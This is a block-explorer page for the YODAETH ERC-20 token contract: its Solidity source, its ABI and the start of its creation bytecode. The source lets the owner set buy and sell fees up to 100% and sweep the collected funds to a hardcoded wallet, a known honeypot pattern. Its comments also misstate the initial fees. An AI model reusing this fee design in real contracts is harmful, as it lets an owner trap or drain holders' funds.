ERC-20
Overview
Max Total Supply
1,000,000,000 YODAETH
Holders
38
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
608,347.173613667033355909 YODAETHValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
YODAETH
Compiler Version
v0.8.23+commit.f704f362
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-10-25 */ // SPDX-License-Identifier: MIT /* https://x.com/yodaethereum https://t.me/yodaONethereum https://yodaethereum.com/ */ pragma solidity 0.8.23; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address _account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _setOwner(_msgSender()); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } } library SafeMath { function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function WETH() external pure returns (address); } contract YODAETH is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _exclFromLimit; uint8 private constant _decimals = 18; uint256 private constant _tTotal = 1000000000 * 10**_decimals; string private constant _name = unicode"YODAETH"; string private constant _symbol = unicode"YODAETH"; uint256 public _buyFee = 0; // Initial buy fee set to 5% uint256 public _sellFee = 10; // Initial sell fee set to 5% address payable private _feeWallet; // Fee wallet address uint256 public _maxTxAmount = _tTotal; uint256 public _maxWalletSize = _tTotal; uint256 public _taxSwapThreshold = 200000 * 10**_decimals; uint256 public _maxTaxSwap = 200000 * 10**_decimals; IUniswapV2Router02 private constant _router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); address public uniswapPair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeWallet = payable(0xB25b5610f1FD5cDd6d2c33d2A717BC3b8589C9ce); _balances[_msgSender()] = _tTotal; _exclFromLimit[_feeWallet] = true; _exclFromLimit[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 feeAmount = 0; // Apply fees for buys or sells if (from == uniswapPair) { // Buy transaction feeAmount = amount.mul(_buyFee).div(100); } else if (to == uniswapPair) { // Sell transaction feeAmount = amount.mul(_sellFee).div(100); } if (feeAmount > 0) { _balances[from] = _balances[from].sub(feeAmount); _balances[address(this)] = _balances[address(this)].add(feeAmount); emit Transfer(from, address(this), feeAmount); } _balances[from] = _balances[from].sub(amount.sub(feeAmount)); _balances[to] = _balances[to].add(amount.sub(feeAmount)); emit Transfer(from, to, amount.sub(feeAmount)); // Convert tokens to ETH if conditions are met uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && swapEnabled && contractTokenBalance >= _taxSwapThreshold) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(contractETHBalance); } } } // Swap the collected tokens for ETH function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _router.WETH(); _approve(address(this), address(_router), tokenAmount); // Make the swap: tokens -> ETH _router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), // Contract address receives the ETH block.timestamp ); } // Send the collected ETH to the fee wallet function sendETHToFee(uint256 amount) private { _feeWallet.transfer(amount); // Send ETH to the fee wallet } // Function to adjust fees, only callable by the owner function setFees(uint256 buyFee, uint256 sellFee) external onlyOwner { require(buyFee <= 100 && sellFee <= 100, "Fees cannot exceed 100%"); _buyFee = buyFee; _sellFee = sellFee; } function openTrading() external onlyOwner { require(!tradingOpen, "trading is already open"); _approve(address(this), address(_router), _tTotal); swapEnabled = true; uniswapPair = IUniswapV2Factory(_router.factory()).createPair(address(this), _router.WETH()); _router.addLiquidityETH{value: address(this).balance}(address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp); IERC20(uniswapPair).approve(address(_router), type(uint).max); tradingOpen = true; } // Manuelle Funktion zur Umwandlung von Tokens in ETH und Überweisung an die Fee Wallet function manualSwapAndSendToFee() external onlyOwner { uint256 contractTokenBalance = balanceOf(address(this)); require(contractTokenBalance > 0, "No tokens to swap"); // Swap Tokens for ETH swapTokensForEth(contractTokenBalance); // Transfer ETH to Fee Wallet uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(contractETHBalance); } } // Allow the contract to receive ETH receive() external payable {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"manualSwapAndSendToFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"buyFee","type":"uint256"},{"internalType":"uint256","name":"sellFee","type":"uint256"}],"name":"setFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040525f600455600a6005556012600a6200001d919062000582565b633b9aca006200002e9190620005d2565b6007556012600a62000041919062000582565b633b9aca00620000529190620005d2565b6008556012600a62000065919062000582565b62030d40620000759190620005d2565b6009556012600a62000088919062000582565b62030d40620000989190620005d2565b600a555f600b60156101000a81548160ff0219169083151502179055505f600b60166101000a81548160ff021916908315150217905550348015620000db575f80fd5b50620000fc620000f06200032860201b60201c565b6200032f60201b60201c565b73b25b5610f1fd5cdd6d2c33d2a717bc3b8589c9ce60065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506012600a62000160919062000582565b633b9aca00620001719190620005d2565b60015f620001846200032860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600160035f60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506200029c6200032860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6012600a620002fa919062000582565b633b9aca006200030b9190620005d2565b6040516200031a91906200062d565b60405180910390a362000648565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156200047a57808604811115620004525762000451620003f0565b5b6001851615620004625780820291505b808102905062000472856200041d565b945062000432565b94509492505050565b5f8262000494576001905062000566565b81620004a3575f905062000566565b8160018114620004bc5760028114620004c757620004fd565b600191505062000566565b60ff841115620004dc57620004db620003f0565b5b8360020a915084821115620004f657620004f5620003f0565b5b5062000566565b5060208310610133831016604e8410600b8410161715620005375782820a905083811115620005315762000530620003f0565b5b62000566565b62000546848484600162000429565b9250905081840481111562000560576200055f620003f0565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f6200058e826200056d565b91506200059b8362000576565b9250620005ca7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000483565b905092915050565b5f620005de826200056d565b9150620005eb836200056d565b9250828202620005fb816200056d565b91508282048414831517620006155762000614620003f0565b5b5092915050565b62000627816200056d565b82525050565b5f602082019050620006425f8301846200061c565b92915050565b612a9380620006565f395ff3fe60806040526004361061012d575f3560e01c806370a08231116100aa57806395d89b411161006e57806395d89b41146103ba578063a9059cbb146103e4578063bf474bed14610420578063c816841b1461044a578063c9567bf914610474578063dd62ed3e1461048a57610134565b806370a08231146102ea578063715018a6146103265780637d1db4a51461033c5780638da5cb5b146103665780638f9a55c01461039057610134565b806323b872dd116100f157806323b872dd1461021a578063313ce5671461025657806340b9a54b146102805780634f762fb7146102aa578063590f897e146102c057610134565b806306fdde0314610138578063095ea7b3146101625780630b78f9c01461019e5780630faee56f146101c657806318160ddd146101f057610134565b3661013457005b5f80fd5b348015610143575f80fd5b5061014c6104c6565b6040516101599190611c42565b60405180910390f35b34801561016d575f80fd5b5061018860048036038101906101839190611cf3565b610503565b6040516101959190611d4b565b60405180910390f35b3480156101a9575f80fd5b506101c460048036038101906101bf9190611d64565b610520565b005b3480156101d1575f80fd5b506101da6105ff565b6040516101e79190611db1565b60405180910390f35b3480156101fb575f80fd5b50610204610605565b6040516102119190611db1565b60405180910390f35b348015610225575f80fd5b50610240600480360381019061023b9190611dca565b610628565b60405161024d9190611d4b565b60405180910390f35b348015610261575f80fd5b5061026a6106fc565b6040516102779190611e35565b60405180910390f35b34801561028b575f80fd5b50610294610704565b6040516102a19190611db1565b60405180910390f35b3480156102b5575f80fd5b506102be61070a565b005b3480156102cb575f80fd5b506102d46107f7565b6040516102e19190611db1565b60405180910390f35b3480156102f5575f80fd5b50610310600480360381019061030b9190611e4e565b6107fd565b60405161031d9190611db1565b60405180910390f35b348015610331575f80fd5b5061033a610843565b005b348015610347575f80fd5b506103506108ca565b60405161035d9190611db1565b60405180910390f35b348015610371575f80fd5b5061037a6108d0565b6040516103879190611e88565b60405180910390f35b34801561039b575f80fd5b506103a46108f7565b6040516103b19190611db1565b60405180910390f35b3480156103c5575f80fd5b506103ce6108fd565b6040516103db9190611c42565b60405180910390f35b3480156103ef575f80fd5b5061040a60048036038101906104059190611cf3565b61093a565b6040516104179190611d4b565b60405180910390f35b34801561042b575f80fd5b50610434610957565b6040516104419190611db1565b60405180910390f35b348015610455575f80fd5b5061045e61095d565b60405161046b9190611e88565b60405180910390f35b34801561047f575f80fd5b50610488610982565b005b348015610495575f80fd5b506104b060048036038101906104ab9190611ea1565b610df7565b6040516104bd9190611db1565b60405180910390f35b60606040518060400160405280600781526020017f594f444145544800000000000000000000000000000000000000000000000000815250905090565b5f61051661050f610e79565b8484610e80565b6001905092915050565b610528610e79565b73ffffffffffffffffffffffffffffffffffffffff166105466108d0565b73ffffffffffffffffffffffffffffffffffffffff161461059c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161059390611f29565b60405180910390fd5b606482111580156105ae575060648111155b6105ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105e490611f91565b60405180910390fd5b81600481905550806005819055505050565b600a5481565b5f6012600a610614919061210b565b633b9aca006106239190612155565b905090565b5f610634848484611043565b6106f184610640610e79565b6106ec85604051806060016040528060288152602001612a366028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6106a3610e79565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546116229092919063ffffffff16565b610e80565b600190509392505050565b5f6012905090565b60045481565b610712610e79565b73ffffffffffffffffffffffffffffffffffffffff166107306108d0565b73ffffffffffffffffffffffffffffffffffffffff1614610786576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077d90611f29565b60405180910390fd5b5f610790306107fd565b90505f81116107d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107cb906121e0565b60405180910390fd5b6107dd81611684565b5f4790505f8111156107f3576107f2816118c8565b5b5050565b60055481565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b61084b610e79565b73ffffffffffffffffffffffffffffffffffffffff166108696108d0565b73ffffffffffffffffffffffffffffffffffffffff16146108bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108b690611f29565b60405180910390fd5b6108c85f611930565b565b60075481565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60085481565b60606040518060400160405280600781526020017f594f444145544800000000000000000000000000000000000000000000000000815250905090565b5f61094d610946610e79565b8484611043565b6001905092915050565b60095481565b600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61098a610e79565b73ffffffffffffffffffffffffffffffffffffffff166109a86108d0565b73ffffffffffffffffffffffffffffffffffffffff16146109fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f590611f29565b60405180910390fd5b600b60149054906101000a900460ff1615610a4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4590612248565b60405180910390fd5b610a8930737a250d5630b4cf539739df2c5dacb4c659f2488d6012600a610a75919061210b565b633b9aca00610a849190612155565b610e80565b6001600b60166101000a81548160ff021916908315150217905550737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b01573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b25919061227a565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b9e573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610bc2919061227a565b6040518363ffffffff1660e01b8152600401610bdf9291906122a5565b6020604051808303815f875af1158015610bfb573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c1f919061227a565b600b5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610c99306107fd565b5f80610ca36108d0565b426040518863ffffffff1660e01b8152600401610cc59695949392919061230e565b60606040518083038185885af1158015610ce1573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610d069190612381565b505050600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3737a250d5630b4cf539739df2c5dacb4c659f2488d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610d999291906123d1565b6020604051808303815f875af1158015610db5573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610dd99190612422565b506001600b60146101000a81548160ff021916908315150217905550565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610eee576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ee5906124bd565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f5c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f539061254b565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516110369190611db1565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036110b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110a8906125d9565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361111f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111690612667565b60405180910390fd5b5f8111611161576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611158906126f5565b60405180910390fd5b5f600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16036111e5576111de60646111d0600454856119f190919063ffffffff16565b611a6890919063ffffffff16565b9050611265565b600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611264576112616064611253600554856119f190919063ffffffff16565b611a6890919063ffffffff16565b90505b5b5f8111156113f5576112bd8160015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611ab190919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061134e8160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611afa90919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516113ec9190611db1565b60405180910390a35b61145761140b8284611ab190919063ffffffff16565b60015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611ab190919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506114fa6114ae8284611ab190919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611afa90919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61159d8486611ab190919063ffffffff16565b6040516115aa9190611db1565b60405180910390a35f6115bc306107fd565b9050600b60159054906101000a900460ff161580156115e75750600b60169054906101000a900460ff165b80156115f557506009548110155b1561161b5761160381611684565b5f4790505f81111561161957611618816118c8565b5b505b5050505050565b5f838311158290611669576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116609190611c42565b60405180910390fd5b505f83856116779190612713565b9050809150509392505050565b6001600b60156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff8111156116bb576116ba612746565b5b6040519080825280602002602001820160405280156116e95781602001602082028036833780820191505090505b50905030815f81518110611700576116ff612773565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611797573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906117bb919061227a565b816001815181106117cf576117ce612773565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061182830737a250d5630b4cf539739df2c5dacb4c659f2488d84610e80565b737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b815260040161187d959493929190612857565b5f604051808303815f87803b158015611894575f80fd5b505af11580156118a6573d5f803e3d5ffd5b50505050505f600b60156101000a81548160ff02191690831515021790555050565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f1935050505015801561192c573d5f803e3d5ffd5b5050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f808303611a01575f9050611a62565b5f8284611a0e9190612155565b9050828482611a1d91906128dc565b14611a5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a549061297c565b60405180910390fd5b809150505b92915050565b5f611aa983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611b57565b905092915050565b5f611af283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611622565b905092915050565b5f808284611b08919061299a565b905083811015611b4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b4490612a17565b60405180910390fd5b8091505092915050565b5f8083118290611b9d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b949190611c42565b60405180910390fd5b505f8385611bab91906128dc565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015611bef578082015181840152602081019050611bd4565b5f8484015250505050565b5f601f19601f8301169050919050565b5f611c1482611bb8565b611c1e8185611bc2565b9350611c2e818560208601611bd2565b611c3781611bfa565b840191505092915050565b5f6020820190508181035f830152611c5a8184611c0a565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611c8f82611c66565b9050919050565b611c9f81611c85565b8114611ca9575f80fd5b50565b5f81359050611cba81611c96565b92915050565b5f819050919050565b611cd281611cc0565b8114611cdc575f80fd5b50565b5f81359050611ced81611cc9565b92915050565b5f8060408385031215611d0957611d08611c62565b5b5f611d1685828601611cac565b9250506020611d2785828601611cdf565b9150509250929050565b5f8115159050919050565b611d4581611d31565b82525050565b5f602082019050611d5e5f830184611d3c565b92915050565b5f8060408385031215611d7a57611d79611c62565b5b5f611d8785828601611cdf565b9250506020611d9885828601611cdf565b9150509250929050565b611dab81611cc0565b82525050565b5f602082019050611dc45f830184611da2565b92915050565b5f805f60608486031215611de157611de0611c62565b5b5f611dee86828701611cac565b9350506020611dff86828701611cac565b9250506040611e1086828701611cdf565b9150509250925092565b5f60ff82169050919050565b611e2f81611e1a565b82525050565b5f602082019050611e485f830184611e26565b92915050565b5f60208284031215611e6357611e62611c62565b5b5f611e7084828501611cac565b91505092915050565b611e8281611c85565b82525050565b5f602082019050611e9b5f830184611e79565b92915050565b5f8060408385031215611eb757611eb6611c62565b5b5f611ec485828601611cac565b9250506020611ed585828601611cac565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f611f13602083611bc2565b9150611f1e82611edf565b602082019050919050565b5f6020820190508181035f830152611f4081611f07565b9050919050565b7f466565732063616e6e6f742065786365656420313030250000000000000000005f82015250565b5f611f7b601783611bc2565b9150611f8682611f47565b602082019050919050565b5f6020820190508181035f830152611fa881611f6f565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156120315780860481111561200d5761200c611faf565b5b600185161561201c5780820291505b808102905061202a85611fdc565b9450611ff1565b94509492505050565b5f82612049576001